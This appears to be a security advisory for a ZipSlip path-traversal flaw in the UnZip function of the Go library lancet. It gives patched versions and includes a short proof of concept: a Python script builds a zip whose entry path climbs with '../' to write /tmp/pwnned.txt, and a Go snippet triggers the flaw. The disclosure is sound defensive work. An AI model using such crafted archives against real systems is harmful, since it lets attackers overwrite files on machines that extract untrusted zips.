Impact

What kind of vulnerability is it? Who is impacted?
ZipSlip issue when use fileutil package to unzip files.

import zipfile
# the name of the zip file to generate
zf = zipfile.ZipFile('zipslip.zip', 'w')
# the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'zipslip.txt'
#destination path of the file
zf.write(fname, '../../../../../../../../../../../../../../../../../../../../../../../../tmp/pwnned.txt')

package main

import "github.com/duke-git/lancet/v2/fileutil"

func main() {
fileutil.UnZip("zipslip.zip", ".")
}

Patches

Has the problem been patched? What versions should users upgrade to?
It will fixed in v2.1.10, Please upgrade version to v2.1.10 or above.
Users who use v1.x.x should upgrade v1.3.4 or above.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?
No, users have to upgrade version.